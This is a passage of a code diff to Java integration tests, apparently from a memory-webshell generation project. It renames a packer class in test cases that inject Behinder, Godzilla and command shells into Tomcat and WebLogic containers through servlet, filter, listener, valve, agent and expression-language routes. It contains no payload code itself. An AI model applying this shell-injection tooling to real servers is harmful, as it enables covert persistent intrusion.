-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
         );
     }
 
@@ -83,7 +83,7 @@ public class Tomcat7ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,53 +43,53 @@ public class Tomcat8ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
         );
     }
 
@@ -101,7 +101,7 @@ public class Tomcat8ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -41,36 +41,36 @@ public class Tomcat9ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
         );
     }
 
@@ -83,7 +83,7 @@ public class Tomcat9ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebLogicShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -41,17 +41,17 @@ public class WebLogic1036ContainerTest {
     static Stream<Arguments> casesProvider() {
         return Stream.of(
 //                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
 //                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
+                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -63,7 +63,7 @@ public class WebLogic1036ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebLogicShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,18 +42,18 @@ public class WebLogic12214ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
+                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -65,7 +65,7 @@ public class WebLogic12214ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebLogicShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,18 +42,18 @@ public class WebLogic14110ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
